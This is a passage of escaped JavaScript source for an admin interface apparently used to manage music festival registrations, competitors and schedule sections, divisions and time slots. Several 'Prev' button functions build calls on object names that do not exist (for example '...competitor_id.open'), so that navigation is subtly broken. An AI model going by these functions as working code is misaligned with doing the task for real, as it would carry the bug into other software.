}\\n if( this.competitor1_id != this.data.competitor1_id ) { c.append('competitor1_id', this.competitor1_id); }\\n if( this.competitor2_id != this.data.competitor2_id ) { c.append('competitor2_id', this.competitor2_id); }\\n if( this.competitor3_id != this.data.competitor3_id ) { c.append('competitor3_id', this.competitor3_id); }\\n if( this.competitor4_id != this.data.competitor4_id ) { c.append('competitor4_id', this.competitor4_id); }\\n// if( this.competitor5_id != this.data.competitor5_id ) { c.append('competitor5_id', this.competitor5_id); }\\n if( c != '' ) {\\n \\n M.api.postJSONFormData('ciniki.musicfestivals.registrationUpdate', {'tnid':M.curTenantID, 'registration_id':this.registration_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n c += '&teacher_customer_id=' + this.teacher_customer_id;\\n c += '&competitor1_id=' + this.competitor1_id;\\n c += '&competitor2_id=' + this.competitor2_id;\\n c += '&competitor3_id=' + this.competitor3_id;\\n c += '&competitor4_id=' + this.competitor4_id;\\n// c += '&competitor5_id=' + this.competitor5_id;\\n M.api.postJSONCb('ciniki.musicfestivals.registrationAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.registration.registration_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.registration.remove = function() {\\n var msg = 'Are you sure you want to remove this registration?';\\n if( this.data.invoice_id > 0 && this.data.invoice_status >= 50 ) {\\n msg = '**WARNING** Removing this registration will NOT remove the item from the Invoice. You will need make sure they have received a refund for the registration.';\\n }\\n M.confirm(msg,null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.registrationDelete', {'tnid':M.curTenantID, 'registration_id':M.ciniki_musicfestivals_main.registration.registration_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.registration.close();\\n });\\n });\\n }\\n this.registration.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.registration_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.registration.save(\\\\'M.ciniki_musicfestivals_main.registration.open(null,' + this.nplist[this.nplist.indexOf('' + this.registration_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.registration.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.registration_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.registration.save(\\\\'M.ciniki_musicfestivals_main.registration_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.registration_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.registration.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.registration.save();');\\n this.registration.addClose('Cancel');\\n this.registration.addButton('next', 'Next');\\n this.registration.addLeftButton('prev', 'Prev');\\n\\n\\n //\\n // The panel to add/edit a competitor\\n //\\n this.competitor = new M.panel('Competitor', 'ciniki_musicfestivals_main', 'competitor', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.competitor');\\n this.competitor.data = null;\\n this.competitor.festival_id = 0;\\n this.competitor.competitor_id = 0;\\n this.competitor.billing_customer_id = 0;\\n this.competitor.nplist = [];\\n this.competitor.sections = {\\n '_ctype':{'label':'', 'type':'paneltabs', 'selected':10, 'aside':'yes', 'tabs':{\\n '10':{'label':'Individual', 'fn':'M.ciniki_musicfestivals_main.competitor.switchType(\\\"10\\\");'},\\n '50':{'label':'Group/Ensemble', 'fn':'M.ciniki_musicfestivals_main.competitor.switchType(\\\"50\\\");'},\\n }},\\n 'general':{'label':'Competitor', 'aside':'yes', 'fields':{\\n 'first':{'label':'First Name', 'required':'no', 'type':'text', 'livesearch':'yes', 'visible':'yes'},\\n 'last':{'label':'Last Name', 'required':'no', 'type':'text', 'livesearch':'yes', 'visible':'yes'},\\n 'name':{'label':'Name', 'required':'yes', 'type':'text', 'livesearch':'yes', 'visible':'hidden'},\\n 'public_name':{'label':'Public Name', 'type':'text'},\\n 'pronoun':{'label':'Pronoun', 'type':'text'},\\n 'conductor':{'label':'Conductor', 'type':'text', 'visible':'no'},\\n 'num_people':{'label':'# People', 'type':'number', 'size':'small', 'visible':'no'},\\n 'parent':{'label':'Parent', 'type':'text', 'visible':'yes'},\\n }},\\n '_other':{'label':'', 'aside':'yes', 'fields':{\\n 'age':{'label':'Age', 'type':'text'},\\n 'study_level':{'label':'Study/Level', 'type':'text'},\\n 'instrument':{'label':'Instrument', 'type':'text'},\\n 'flags1':{'label':'Waiver', 'type':'flagtoggle', 'bit':0x01, 'field':'flags', 'toggles':{'':'Unsigned', 'signed':'Signed'}},\\n }},\\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'contact', 'visible':'yes',\\n 'tabs':{\\n 'contact':{'label':'Contact Info', 'fn':'M.ciniki_musicfestivals_main.competitor.switchTab(\\\"contact\\\");'},\\n 'emails':{'label':'Emails', 'fn':'M.ciniki_musicfestivals_main.competitor.switchTab(\\\"emails\\\");'},\\n 'registrations':{'label':'Registrations', 'fn':'M.ciniki_musicfestivals_main.competitor.switchTab(\\\"registrations\\\");'},\\n }},\\n '_address':{'label':'Contact Info', \\n 'visible':function() { return M.ciniki_musicfestivals_main.competitor.sections._tabs.selected == 'contact' ? 'yes' : 'hidden';},\\n 'fields':{\\n 'address':{'label':'Address', 'type':'text'},\\n 'city':{'label':'City', 'type':'text', 'size':'small'},\\n 'province':{'label':'Province', 'type':'text', 'size':'small'},\\n 'postal':{'label':'Postal Code', 'type':'text', 'size':'small'},\\n 'country':{'label':'Country', 'type':'text', 'size':'small'},\\n 'phone_home':{'label':'Home Phone', 'type':'text', 'size':'small'},\\n 'phone_cell':{'label':'Cell Phone', 'type':'text', 'size':'small'},\\n 'email':{'label':'Email', 'type':'text'},\\n }},\\n '_notes':{'label':'Competitor Notes', 'aside':'no', \\n 'visible':function() { return M.ciniki_musicfestivals_main.competitor.sections._tabs.selected == 'contact' ? 'yes' : 'hidden';},\\n 'fields':{\\n 'notes':{'label':'', 'hidelabel':'yes', 'type':'textarea'},\\n }},\\n 'messages':{'label':'Draft Emails', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.competitor.sections._tabs.selected == 'emails' ? 'yes' : 'hidden';},\\n 'headerValues':['Status', 'Subject'],\\n 'noData':'No drafts or scheduled emails',\\n 'addTxt':'Send Email',\\n 'addFn':'M.ciniki_musicfestivals_main.competitor.save(\\\"M.ciniki_musicfestivals_main.competitor.addmessage();\\\");',\\n },\\n 'emails':{'label':'Send Emails', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.competitor.sections._tabs.selected == 'emails' ? 'yes' : 'hidden';},\\n 'headerValues':['Date Sent', 'Subject'],\\n 'noData':'No emails sent',\\n },\\n 'registrations':{'label':'Registrations', 'type':'simplegrid', 'num_cols':5,\\n 'visible':function() { return M.ciniki_musicfestivals_main.competitor.sections._tabs.selected == 'registrations' ? 'yes' : 'hidden';},\\n 'headerValues':['Category', 'Code', 'Class', 'Status'],\\n 'noData':'No registrations',\\n },\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.competitor.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.competitor.competitor_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.competitor.remove();'},\\n }},\\n };\\n this.competitor.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.competitor.switchType = function(t) {\\n this.sections._ctype.selected = t;\\n if( t == 50 ) {\\n this.sections.general.fields.first.visible = 'no';\\n this.sections.general.fields.last.visible = 'no';\\n this.sections.general.fields.name.visible = 'yes';\\n this.sections.general.fields.public_name.visible = 'no';\\n this.sections.general.fields.pronoun.visible = 'no';\\n this.sections.general.fields.conductor.visible = 'yes';\\n this.sections.general.fields.num_people.visible = 'yes';\\n this.sections.general.fields.parent.label = 'Contact Person';\\n } else {\\n this.sections.general.fields.first.visible = 'yes';\\n this.sections.general.fields.last.visible = 'yes';\\n this.sections.general.fields.name.visible = 'no';\\n this.sections.general.fields.public_name.visible = 'yes';\\n this.sections.general.fields.pronoun.visible = M.modFlagSet('ciniki.musicfestivals', 0x80);\\n this.sections.general.fields.conductor.visible = 'no';\\n this.sections.general.fields.num_people.visible = 'no';\\n this.sections.general.fields.parent.label = 'Parent';\\n }\\n this.showHideFormField('general', 'first');\\n this.showHideFormField('general', 'last');\\n this.showHideFormField('general', 'name');\\n this.showHideFormField('general', 'public_name');\\n this.showHideFormField('general', 'pronoun');\\n this.showHideFormField('general', 'conductor');\\n this.showHideFormField('general', 'num_people');\\n this.showHideFormField('general', 'parent');\\n this.refreshSections(['_ctype']);\\n }\\n this.competitor.switchTab = function(t) {\\n this.sections._tabs.selected = t;\\n this.refreshSections(['_tabs', '_address','_notes','messages', 'emails', 'registrations']);\\n }\\n this.competitor.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.competitorHistory', 'args':{'tnid':M.curTenantID, 'competitor_id':this.competitor_id, 'field':i}};\\n }\\n this.competitor.liveSearchCb = function(s, i, value) {\\n if( i == 'name' || i == 'first' || i == 'last' ) {\\n M.api.getJSONBgCb('ciniki.musicfestivals.competitorSearch', \\n {'tnid':M.curTenantID, 'start_needle':value, 'limit':25}, function(rsp) { \\n M.ciniki_musicfestivals_main.competitor.liveSearchShow(s, i, M.gE(M.ciniki_musicfestivals_main.competitor.panelUID + '_' + i), rsp.competitors); \\n });\\n }\\n }\\n this.competitor.liveSearchResultValue = function(s, f, i, j, d) {\\n return d.name;\\n }\\n this.competitor.liveSearchResultRowFn = function(s, f, i, j, d) { \\n return 'M.ciniki_musicfestivals_main.competitor.open(null,\\\\'' + d.id + '\\\\');';\\n }\\n this.competitor.cellValue = function(s, i, j, d) {\\n if( s == 'messages' ) {\\n switch(j) {\\n case 0: return d.status_text;\\n case 1: return d.subject;\\n }\\n }\\n if( s == 'emails' ) {\\n switch(j) {\\n case 0: return (d.status != 30 ? d.status_text : d.date_sent);\\n case 1: return d.subject;\\n }\\n }\\n if( s == 'registrations' ) {\\n switch(j) {\\n case 0: return d.section_name + ' - ' + d.category_name;\\n case 1: return d.class_code;\\n case 2: return d.class_name;\\n case 3: return d.status_text;\\n }\\n }\\n }\\n this.competitor.rowFn = function(s, i, d) {\\n if( s == 'messages' ) {\\n return 'M.ciniki_musicfestivals_main.competitor.save(\\\"M.ciniki_musicfestivals_main.message.open(\\\\'M.ciniki_musicfestivals_main.competitor.open();\\\\',\\\\'' + d.id + '\\\\');\\\");';\\n }\\n if( s == 'emails' ) {\\n return 'M.startApp(\\\\'ciniki.mail.main\\\\',null,\\\\'M.ciniki_musicfestivals_main.competitor.reopen();\\\\',\\\\'mc\\\\',{\\\\'message_id\\\\':\\\\'' + d.id + '\\\\'});';\\n }\\n return '';\\n }\\n this.competitor.addmessage = function() {\\n M.ciniki_musicfestivals_main.message.addnew('M.ciniki_musicfestivals_main.competitor.open();',this.festival_id,'ciniki.musicfestivals.competitor',this.competitor_id);\\n }\\n this.competitor.reopen = function() {\\n this.show();\\n }\\n this.competitor.open = function(cb, cid, fid, list, bci) {\\n if( cid != null ) { this.competitor_id = cid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n if( bci != null ) { this.billing_customer_id = bci; }\\n M.api.getJSONCb('ciniki.musicfestivals.competitorGet', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'competitor_id':this.competitor_id, 'emails':'yes', 'registrations':'yes'}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.competitor;\\n p.data = rsp.competitor;\\n if( p.competitor_id == 0 ) {\\n p.sections._tabs.selected = 'contact';\\n p.sections._tabs.visible = 'no';\\n } else {\\n p.sections._tabs.visible = 'yes';\\n }\\n p.sections._ctype.selected = rsp.competitor.ctype;\\n p.refresh();\\n p.show(cb);\\n p.switchType(p.sections._ctype.selected);\\n });\\n }\\n this.competitor.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.competitor.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.competitor_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( this.sections._ctype.selected != this.data.ctype ) {\\n c += '&ctype=' + this.sections._ctype.selected;\\n }\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.competitorUpdate', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'competitor_id':this.competitor_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n c += '&ctype=' + this.sections._ctype.selected;\\n M.api.postJSONCb('ciniki.musicfestivals.competitorAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'billing_customer_id':this.billing_customer_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.competitor.competitor_name = rsp.name;\\n M.ciniki_musicfestivals_main.competitor.competitor_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.competitor.remove = function() {\\n M.confirm('Are you sure you want to remove competitor?',null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.competitorDelete', {'tnid':M.curTenantID, 'competitor_id':M.ciniki_musicfestivals_main.competitor.competitor_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.competitor.close();\\n });\\n });\\n }\\n this.competitor.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.competitor_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.competitor.save(\\\\'M.ciniki_musicfestivals_main.competitor.open(null,' + this.nplist[this.nplist.indexOf('' + this.competitor_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.competitor.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.competitor_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.competitor.save(\\\\'M.ciniki_musicfestivals_main.competitor_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.competitor_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.competitor.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.competitor.save();');\\n this.competitor.addClose('Cancel');\\n this.competitor.addButton('next', 'Next');\\n this.competitor.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Schedule Section\\n //\\n this.schedulesection = new M.panel('Schedule Section', 'ciniki_musicfestivals_main', 'schedulesection', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.schedulesection');\\n this.schedulesection.data = null;\\n this.schedulesection.festival_id = 0;\\n this.schedulesection.schedulesection_id = 0;\\n this.schedulesection.nplist = [];\\n this.schedulesection.sections = {\\n 'general':{'label':'', 'fields':{\\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\\n 'flags':{'label':'Options', 'type':'flags', 'flags':{\\n '1':{'name':'Release Schedule'},\\n '2':{'name':'Release Comments'},\\n '3':{'name':'Release Certificates'},\\n }},\\n }},\\n 'adjudicators':{'label':'Adjudicators', 'fields':{\\n 'adjudicator1_id':{'label':'First', 'type':'select', 'complex_options':{'name':'name', 'value':'id'}, 'options':{}},\\n 'adjudicator2_id':{'label':'Second', 'type':'select', 'complex_options':{'name':'name', 'value':'id'}, 'options':{}},\\n 'adjudicator3_id':{'label':'Third', 'type':'select', 'complex_options':{'name':'name', 'value':'id'}, 'options':{}},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.schedulesection.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.schedulesection.schedulesection_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.schedulesection.remove();'},\\n }},\\n };\\n this.schedulesection.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.schedulesection.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.scheduleSectionHistory', 'args':{'tnid':M.curTenantID, 'schedulesection_id':this.schedulesection_id, 'field':i}};\\n }\\n this.schedulesection.downloadPDF = function(f,i,n) {\\n M.api.openFile('ciniki.musicfestivals.schedulePDF',{'tnid':M.curTenantID, 'festival_id':f, 'schedulesection_id':i, 'names':n});\\n }\\n this.schedulesection.open = function(cb, sid, fid, list) {\\n if( sid != null ) { this.schedulesection_id = sid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.scheduleSectionGet', \\n {'tnid':M.curTenantID, 'schedulesection_id':this.schedulesection_id, 'festival_id':this.festival_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.schedulesection;\\n p.data = rsp.schedulesection;\\n rsp.adjudicators.unshift({'id':'0', 'name':'None'});\\n p.sections.adjudicators.fields.adjudicator1_id.options = rsp.adjudicators;\\n p.sections.adjudicators.fields.adjudicator2_id.options = rsp.adjudicators;\\n p.sections.adjudicators.fields.adjudicator3_id.options = rsp.adjudicators;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.schedulesection.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.schedulesection.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.schedulesection_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.scheduleSectionUpdate', \\n {'tnid':M.curTenantID, 'schedulesection_id':this.schedulesection_id, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.scheduleSectionAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.schedulesection.schedulesection_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.schedulesection.remove = function() {\\n M.confirm('Are you sure you want to remove this section?',null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.scheduleSectionDelete', {'tnid':M.curTenantID, 'schedulesection_id':M.ciniki_musicfestivals_main.schedulesection.schedulesection_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.schedulesection.close();\\n });\\n });\\n }\\n this.schedulesection.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.schedulesection_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.schedulesection.save(\\\\'M.ciniki_musicfestivals_main.schedulesection.open(null,' + this.nplist[this.nplist.indexOf('' + this.schedulesection_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.schedulesection.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.schedulesection_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.schedulesection.save(\\\\'M.ciniki_musicfestivals_main.schedulesection_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.schedulesection_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.schedulesection.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.schedulesection.save();');\\n this.schedulesection.addClose('Cancel');\\n this.schedulesection.addButton('next', 'Next');\\n this.schedulesection.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Schedule Division\\n //\\n this.scheduledivision = new M.panel('Schedule Division', 'ciniki_musicfestivals_main', 'scheduledivision', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.scheduledivision');\\n this.scheduledivision.data = null;\\n this.scheduledivision.festival_id = 0;\\n this.scheduledivision.ssection_id = 0;\\n this.scheduledivision.scheduledivision_id = 0;\\n this.scheduledivision.nplist = [];\\n this.scheduledivision.sections = {\\n 'general':{'label':'', 'fields':{\\n 'ssection_id':{'label':'Section', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}},\\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\\n 'division_date':{'label':'Date', 'required':'yes', 'type':'date'},\\n 'address':{'label':'Address', 'type':'text'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.scheduledivision.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.scheduledivision.scheduledivision_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.scheduledivision.remove();'},\\n }},\\n };\\n this.scheduledivision.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.scheduledivision.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.scheduleDivisionHistory', 'args':{'tnid':M.curTenantID, 'scheduledivision_id':this.scheduledivision_id, 'field':i}};\\n }\\n this.scheduledivision.open = function(cb, sid, ssid, fid, list) {\\n if( sid != null ) { this.scheduledivision_id = sid; }\\n if( ssid != null ) { this.ssection_id = ssid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.scheduleDivisionGet', \\n {'tnid':M.curTenantID, 'scheduledivision_id':this.scheduledivision_id, 'festival_id':this.festival_id, 'ssection_id':this.ssection_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.scheduledivision;\\n p.data = rsp.scheduledivision;\\n p.sections.general.fields.ssection_id.options = rsp.schedulesections;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.scheduledivision.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.scheduledivision.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.scheduledivision_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.scheduleDivisionUpdate', \\n {'tnid':M.curTenantID, 'scheduledivision_id':this.scheduledivision_id, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.scheduleDivisionAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.scheduledivision.scheduledivision_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.scheduledivision.remove = function() {\\n M.confirm('Are you sure you want to remove this division?',null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.scheduleDivisionDelete', {'tnid':M.curTenantID, 'scheduledivision_id':M.ciniki_musicfestivals_main.scheduledivision.scheduledivision_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.scheduledivision.close();\\n });\\n });\\n }\\n this.scheduledivision.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.scheduledivision_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.scheduledivision.save(\\\\'M.ciniki_musicfestivals_main.scheduledivision.open(null,' + this.nplist[this.nplist.indexOf('' + this.scheduledivision_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.scheduledivision.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.scheduledivision_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.scheduledivision.save(\\\\'M.ciniki_musicfestivals_main.scheduledivision_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.scheduledivision_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.scheduledivision.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.scheduledivision.save();');\\n this.scheduledivision.addClose('Cancel');\\n this.scheduledivision.addButton('next', 'Next');\\n this.scheduledivision.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Schedule Time Slot\\n //\\n this.scheduletimeslot = new M.panel('Schedule Time Slot', 'ciniki_musicfestivals_main', 'scheduletimeslot', 'mc', 'xlarge', 'sectioned', 'ciniki.musicfestivals.main.scheduletimeslot');\\n this.scheduletimeslot.data = null;\\n this.scheduletimeslot.festival_id = 0;\\n this.scheduletimeslot.scheduletimeslot_id = 0;\\n this.scheduletimeslot.sdivision_id = 0;\\n this.scheduletimeslot.nplist = [];\\n this.scheduletimeslot.sections = {\\n 'general':{'label':'', 'fields':{\\n 'sdivision_id':{'label':'Division', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}},\\n 'slot_time':{'label':'Time', 'required':'yes', 'type':'text', 'size':'small'},\\n 'class1_id':{'label':'Class 1', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \\n 'onchangeFn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\\n 'class2_id':{'label':'Class 2', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \\n 'onchangeFn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\\n 'class3_id':{'label':'Class 3', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \\n 'onchangeFn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\\n 'class4_id':{'label':'Class 4', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \\n 'onchangeFn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\\n 'class5_id':{'label':'Class 5', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \\n 'onchangeFn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\\n 'name':{'label':'Name', 'type':'text'},\\n }},\\n '_options':{'label':'',\\n 'visible':function() {\\n var p = M.ciniki_musicfestivals_main.scheduletimeslot;\\n var c1 = p.formValue('class1_id');\\n var c2 = p.formValue('class2_id');\\n var c3 = p.formValue('class3_id');\\n var c4 = p.formValue('class4_id');\\n var c5 = p.formValue('class5_id');\\n// if( c1 == null && p.data.class1_id > 0 && p.data.class2_id == 0 && p.data.class3_id == 0 && p.data.class4_id == 0 && p.data.class5_id == 0 ) { return 'yes'; }\\n if( c1 == null && p.data.class1_id > 0 ) { \\n return 'yes'; \\n }\\n// return (c1 != null && c1 > 0 && (c2 == null || c2 == 0) && (c3 == null || c3 == 0) ? 'yes' : 'hidden');\\n return (c1 != null && c1 > 0 ? 'yes' : 'hidden');\\n },\\n 'fields':{\\n 'flags1':{'label':'Split Class', 'type':'flagtoggle', 'default':'off', 'bit':0x01, 'field':'flags', \\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateRegistrations'},\\n }},\\n '_registrations1':{'label':'Class 1 Registrations', \\n 'visible':'hidden',\\n 'fields':{\\n 'registrations1':{'label':'', 'hidelabel':'yes', 'type':'idlist', 'list':[], \\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateSorting',\\n },\\n }},\\n '_registrations2':{'label':'Class 2 Registrations', \\n 'visible':'hidden',\\n 'fields':{\\n 'registrations2':{'label':'', 'hidelabel':'yes', 'type':'idlist', 'list':[],\\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateSorting',\\n },\\n }},\\n '_registrations3':{'label':'Class 3 Registrations', \\n 'visible':'hidden',\\n 'fields':{\\n 'registrations3':{'label':'', 'hidelabel':'yes', 'type':'idlist', 'list':[],\\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateSorting',\\n },\\n }},\\n '_registrations4':{'label':'Class 4 Registrations', \\n 'visible':'hidden',\\n 'fields':{\\n 'registrations4':{'label':'', 'hidelabel':'yes', 'type':'idlist', 'list':[],\\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateSorting',\\n },\\n }},\\n '_registrations5':{'label':'Class 5 Registrations', \\n 'visible':'hidden',\\n 'fields':{\\n 'registrations5':{'label':'', 'hidelabel':'yes', 'type':'idlist', 'list':[],\\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.updateSorting',\\n },\\n }},\\n '_sorting1':{'label':'Class 1 Registrations - Sorting', \\n 'visible':'hidden',\\n 'fields':{\\n }},\\n '_sorting2':{'label':'Class 2 Registrations - Sorting', \\n 'visible':'hidden',\\n 'fields':{\\n }},\\n '_sorting3':{'label':'Class 3 Registrations - Sorting', \\n 'visible':'hidden',\\n 'fields':{\\n }},\\n '_sorting4':{'label':'Class 4 Registrations - Sorting', \\n 'visible':'hidden',\\n 'fields':{\\n }},\\n 